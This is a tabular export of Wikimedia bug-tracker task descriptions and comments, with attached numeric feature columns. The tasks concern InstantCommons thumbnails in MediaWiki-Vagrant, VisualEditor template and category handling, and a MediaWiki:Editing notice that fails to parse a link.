template.",,,1401153590,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,47,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,0.0,16.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,14.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,4.357142857142857,0.8214285714285714,"In the latest MediaWiki Vagrant with the multimedia role enabled, InstantCommons does not successfully generate thumbnails for me. The issue goes away if I comment out the thumb-php-on-404 handler, so I suspect it's an issue with the rewrite rule. CCing Bryan since he wrote that template."
240322,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"I can confirm that Gergo's workaround does the trick, even for a Vagrant newbie like me.

So even if we can't fix this in code right away, at least we have a solution for making this work temporarily.

Thanks for this!",,,1394693207,,PHID-USER-dbudsaorcqut7sg3vvbi,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,14.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,4.0,0.0,12.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,8.0,16.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,3.6,0.8,"I can confirm that Gergo's workaround does the trick, even for a Vagrant newbie like me.

So even if we can't fix this in code right away, at least we have a solution for making this work temporarily.

Thanks for this!"
240319,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Bawolff: I could reproduce this with the multimedia vagrant role enabled, which in theory should enable 404-based image handling.",,,1394665838,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,36,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.625,1.0,"Bawolff: I could reproduce this with the multimedia vagrant role enabled, which in theory should enable 404-based image handling."
240313,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Workaround:

<?php
$wgUseInstantCommons = false;
$wgForeignFileRepos[] = array(
    'class' => 'ForeignAPIRepo',
    'name' => 'wikimediacommons',
    'apibase' => 'http://commons.wikimedia.org/w/api.php',
    'fetchDescription' => true,
    'descriptionCacheExpiry' => 0,
    'apiThumbCacheExpiry' => 0,
);

I started to track this down some weeks ago but ran out of time and had to give up. The issue was MediaWiki getting confused about which local directory to use for the thumb cache IIRC.",,,1394665237,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,36,,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,1.0,0.0,2.0,8.5,0.0,2.5,0.0,0.0,0.0,3.5,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,13.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,0.0,2.0,4.5,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,8.5,2.5,0.5,10.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,3.56140350877193,0.6666666666666667,"Workaround:

<?php
$wgUseInstantCommons = false;
$wgForeignFileRepos[] = array(
    'class' => 'ForeignAPIRepo',
    'name' => 'wikimediacommons',
    'apibase' => 'URL
    'fetchDescription' => true,
    'descriptionCacheExpiry' => 0,
    'apiThumbCacheExpiry' => 0,
);

I started to track this down some weeks ago but ran out of time and had to give up. The issue was MediaWiki getting confused about which local directory to use for the thumb cache IIRC."
240307,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"This is a known issue of using thumb.php directly instead of from a 404 handler. (Not sure how ""known"" in any case, not new)",,,1380304952,,PHID-USER-dpu5hmqvprhycqlkdzrk,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,12,,3.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,3.0,3.3666666666666667,0.8666666666666667,"This is a known issue of using thumb.php directly instead of from a 404 handler. (Not sure how ""known"" in any case, not new)"
240300,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Oddly, if I insert an image from Commons through VisualEditor it appears to work ok inline.

If I insert one in source, I get ""Error creating thumbnail: Invalid thumbnail parameters"".

whaaaaaat?",,,1380304811,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,15.0,7.0,2.0,5.0,0.0,10.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.073170731707317,0.8048780487804879,"Oddly, if I insert an image from Commons through VisualEditor it appears to work ok inline.

If I insert one in source, I get ""Error creating thumbnail: Invalid thumbnail parameters"".

whaaaaaat?"
56186,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter","(Hopefully other reporters will improve the title and description if necessary!)
The French Wikipedia has a number of templates which usually ask for some kind of clarification about a whole passage of text (see https://fr.wikipedia.org/wiki/Mod%C3%A8le:Refnec#Exemples ).
So users are asking that, when they select that text and launch the template inspector, the text is already recognized as a ""parameter"" for that template.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1379367180,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_description,open,True,c1,3,False,False,,11,,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,2.0,9.0,3.0,2.0,12.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,9.0,2.0,0.0,2.0,0.0,1.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,4.2,0.6736842105263158,"(Hopefully other reporters will improve the title and description if necessary!)
The French Wikipedia has a number of templates which usually ask for some kind of clarification about a whole passage of text (see URL ).
So users are asking that, when they select that text and launch the template inspector, the text is already recognized as a ""parameter"" for that template.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239276,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter",I think a better way to solve this would be to somehow allow templates to be treated as 'annotations' in VE (like bold style or links).,,,1403885820,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,19.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,19.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.5483870967741935,0.8709677419354839,I think a better way to solve this would be to somehow allow templates to be treated as 'annotations' in VE (like bold style or links).
239273,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter","This feature would be very helpful for other common templates in articles. For example, the {{Colonnes}} template on French wiki, or its equivalent {{columns-list}} template on English wiki to put text/lists on several columns.

https://en.wikipedia.org/wiki/Template:Columns-list",,,1379522740,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_subcomment,,True,c1,3,False,,,11,,2.0,0.0,2.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,13.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.826923076923077,0.75,"This feature would be very helpful for other common templates in articles. For example, the {{Colonnes}} template on French wiki, or its equivalent {{columns-list}} template on English wiki to put text/lists on several columns.

URL"
239268,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter","I think it's not only the French wiki that may use this... On English wiki, the equivalent of {{Refnec}} and its ""1"" parameter is {{Citation needed span}} and its ""text"" parameter.

Maybe a way of implementing this would be the following :
* Add an information in TemplateData to be able to tell which parameter should be initialized with the selected text
* When you insert a template with VE, if the TemplateData as such configuration, use the selected text to initialize the parameter",,,1379367849,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.0,0.5,2.5,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.5,0.0,0.5,0.5,2.5,9.0,0.0,3.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,2.5,0.5,1.5,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,9.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,8.0,3.5,8.5,2.0,1.0,10.5,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,3.0,9.0,4.0,0.0,2.0,0.0,3.0,0.0,2.5,2.5,0.0,1.5,0.0,0.0,0.0,3.881712626995646,0.704644412191582,"I think it's not only the French wiki that may use this... On English wiki, the equivalent of {{Refnec}} and its ""1"" parameter is {{Citation needed span}} and its ""text"" parameter.

Maybe a way of implementing this would be the following :
* Add an information in TemplateData to be able to tell which parameter should be initialized with the selected text
* When you insert a template with VE, if the TemplateData as such configuration, use the selected text to initialize the parameter"
239260,"VisualEditor: If some content is selected when inserting a template, replace it with the template with the selection magically inserted as the first(?!) parameter",And I think that such a functionality would need to be able to remove the template by replacing it with its first parameter.,,,1379367567,,PHID-USER-5pyvkdz65d5h5vxebodc,True,,,PHID-TASK-a5fu3pyzxhbjzmz25n7i,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,21.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,21.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.25,0.9583333333333334,And I think that such a functionality would need to be able to remove the template by replacing it with its first parameter.
56169,VisualEditor: Duplicating categories (and possibly also something else),"NicoV reports this diff,
https://fr.wikipedia.org/w/index.php?title=Blood_Lad&diff=96657484&oldid=96506947 .
Assuming the user deleted the infobox without realizing it, I did not manage to reproduce the duplication of categories inside a reference tag (line 38); if I just copy/paste them they get nowikied, so it shouldn't be a vandalism.  

CCing subbu and gwicke here. T52120 and T54238 come to mind, but I'm not sure if it's really a dupe.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
T54238
T52120
T76715
T89618",Low,25.0,1379347920,1425592411.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,0.0,2.0,2.5,0.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,2.0,0.0,5.5,4.5,0.0,0.5,0.5,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,3.5,2.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,3.5,0.5,13.0,2.0,2.5,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,4.5,4.5,6.0,0.0,0.0,0.0,4.5,0.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,3.533333333333333,0.7166666666666667,"NicoV reports this diff,
URL .
Assuming the user deleted the infobox without realizing it, I did not manage to reproduce the duplication of categories inside a reference tag (line 38); if I just copy/paste them they get nowikied, so it shouldn't be a vandalism.  

CCing subbu and gwicke here. T52120 and T54238 come to mind, but I'm not sure if it's really a dupe.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
T54238
T52120
T76715
T89618"
237999,VisualEditor: Duplicating categories (and possibly also something else),Think this was all fixed,,,1415881087,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_subcomment,,True,c1,3,True,,,71,,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Think this was all fixed
237991,VisualEditor: Duplicating categories (and possibly also something else),"https://fr.wikipedia.org/w/index.php?title=Bello_de_Carcassonne&diff=107097528&oldid=107091155 duplicated two categories and added others, but not within a ref tag.  It also added a blank (== ==) section heading after the misplaced cats.",,,1409788705,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.78125,0.875,"URL duplicated two categories and added others, but not within a ref tag.  It also added a blank (== ==) section heading after the misplaced cats."
237986,VisualEditor: Duplicating categories (and possibly also something else),"Yes Gabriel, I tried to behave like a vandal :) and wanted to paste templates and categories into the reference, to understand if this was what the user had actually done.
But as you can see here https://fr.wikipedia.org/w/index.php?title=Utilisateur%3AElitre_%28WMF%29%2FProve&diff=96710198&oldid=96710142 my result is different, in that the pasted content generated nowiki tags, so the duplication in the article is not a result of copy/pasting that content into the reference editor.",,,1379350998,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,19.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,6.0,4.0,4.0,13.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,4.0,17.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.064935064935065,0.7402597402597403,"Yes Gabriel, I tried to behave like a vandal :) and wanted to paste templates and categories into the reference, to understand if this was what the user had actually done.
But as you can see here URL my result is different, in that the pasted content generated nowiki tags, so the duplication in the article is not a result of copy/pasting that content into the reference editor."
237979,VisualEditor: Duplicating categories (and possibly also something else),"(In reply to comment #0)
> NicoV reports this diff,
> https://fr.wikipedia.org/w/index.
> php?title=Blood_Lad&diff=96657484&oldid=96506947
> .
> Assuming the user deleted the infobox without realizing it, I did not manage
> to
> reproduce the duplication of categories inside a reference tag (line 38); if
> I
> just copy/paste them they get nowikied, so it shouldn't be a vandalism.

Can you clarify what you mean with 'just copy/paste them'? Do you mean copy/pasting wikitext into VE?",,,1379350615,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-fn2b4izsi4dcu5lgaxmp,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,4.0,6.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,8.0,8.0,15.0,4.0,4.0,0.0,8.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0961538461538463,0.5576923076923077,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Can you clarify what you mean with 'just copy/paste them'? Do you mean copy/pasting wikitext into VE?"
56127,"""MediaWiki:Editing"" notice did not parse  a link when tried so","Change in MediaWiki:Editing notice to a links does not  parse

Hi,


When I tried to add a internal link (related to [[Special:Preferences#mw-prefsection-editing]])  to MediaWiki:Editing, it did not parse as shown in attachment.  


*Exact edit  difference which I tried https://mr.wikipedia.org/w/index.php?title=मिडियाविकी%3AEditing&diff=1200554&oldid=44085 the result is shown in the attachment.


*The purpose of edit was to request users to give a try to VisualEditor and report input issues . (Issues related to usability of Marathi Devnagari script are very crucial to us )


I am not sure whether this a normal limitation of MediaWiki messages  and so not sure whether this will be accepted as a bug.

But still prefered to report this bug since it is simmiller problem of parsing which I observed in Bug no 45195 also and just prefered to keep developers informed.

Thanks and regards

--------------------------
**Version**: 1.22.0
**Severity**: normal
**Whiteboard**: aklapper-moreinfo
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=45195

**Attached**: {F11186}",Low,25.0,1379172900,1379943675.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-43yopxeqsvyzzvqfuavz,task_description,invalid,True,c1,3,False,False,True,10,,0.0,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,2.6666666666666665,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,4.0,8.333333333333334,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,2.3333333333333335,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,13.666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,2.6666666666666665,2.0,12.0,1.3333333333333333,2.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.3333333333333335,8.333333333333334,2.6666666666666665,0.0,0.0,0.0,2.3333333333333335,0.0,1.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,3.7442922374429224,0.6666666666666666,"Change in MediaWiki:Editing notice to a links does not  parse

Hi,


When I tried to add a internal link (related to [[Special:Preferences#mw-prefsection-editing]])  to MediaWiki:Editing, it did not parse as shown in attachment.  


*Exact edit  difference which I tried URL the result is shown in the attachment.


*The purpose of edit was to request users to give a try to VisualEditor and report input issues . (Issues related to usability of Marathi Devnagari script are very crucial to us )


I am not sure whether this a normal limitation of MediaWiki messages  and so not sure whether this will be accepted as a bug.

But still prefered to report this bug since it is simmiller problem of parsing which I observed in Bug no 45195 also and just prefered to keep developers informed.

Thanks and regards

--------------------------
**Version**: 1.22.0
**Severity**: normal
**Whiteboard**: aklapper-moreinfo
**See Also**:
URL

**Attached**: {F11186}"
235506,"""MediaWiki:Editing"" notice did not parse  a link when tried so","The issue in comment 0 was about a link not being parsed and instead [[]] is literally shown. My confusion probably arised from the fact that you had changed https://mr.wikipedia.org/w/index.php?title=मिडियाविकी:Editing already, so I asked how to see this problem myself and to provide steps.

MediaWiki:Editing neither exists on en.wp or fr.wp and was removed in 2007.

As the issue was originally about https://mr.wikipedia.org/w/index.php?title=%E0%A4%AE%E0%A4%BF%E0%A4%A1%E0%A4%BF%E0%A4%AF%E0%A4%BE%E0%A4%B5%E0%A4%BF%E0%A4%95%E0%A5%80%3AEditing&diff=1200554&oldid=44085 which is totally wrong HTML I don't see any valid bug reported here.

If the problem still happens with *valid* HTML, please reopen this bug report and link to the revision of MediaWiki:Editing that shows the problem. Thanks.",,,1379943675,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,True,,,12,,1.0,0.0,1.0,2.0,1.5,3.5,2.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,2.5,0.0,8.0,8.5,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,0.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,2.0,0.0,0.0,0.5,1.0,0.0,13.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,1.0,0.0,1.0,0.5,5.0,4.0,10.5,2.0,3.0,9.0,0.0,0.0,0.0,0.0,3.5,1.0,1.5,0.0,3.0,8.5,2.5,0.0,0.0,0.0,3.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,1.5,3.9262295081967213,0.8442622950819672,"The issue in comment 0 was about a link not being parsed and instead [[]] is literally shown. My confusion probably arised from the fact that you had changed URL already, so I asked how to see this problem myself and to provide steps.

MediaWiki:Editing neither exists on en.wp or fr.wp and was removed in 2007.

As the issue was originally about URL which is totally wrong HTML I don't see any valid bug reported here.

If the problem still happens with *valid* HTML, please reopen this bug report and link to the revision of MediaWiki:Editing that shows the problem. Thanks."
235500,"""MediaWiki:Editing"" notice did not parse  a link when tried so","Created attachment 13341
additional example of message MediaWiki:Editing

(In reply to comment #3)

Additional example of how MediaWiki message MediaWiki:Editing works.

**Attached**: {F11189}",,,1379766935,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-43yopxeqsvyzzvqfuavz,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.6904761904761905,"Created attachment 13341
additional example of message MediaWiki:Editing

(In reply to comment #3)

Additional example of how MediaWiki message MediaWiki:Editing works.

**Attached**: {F11189}"
235493,"""MediaWiki:Editing"" notice did not parse  a link when tried so","Created attachment 13340
MediaWiki:Editing example en wikipedia

(In reply to comment #3)

Which language you used for The Tokyo article ? Here is an example from eglish wikipedia

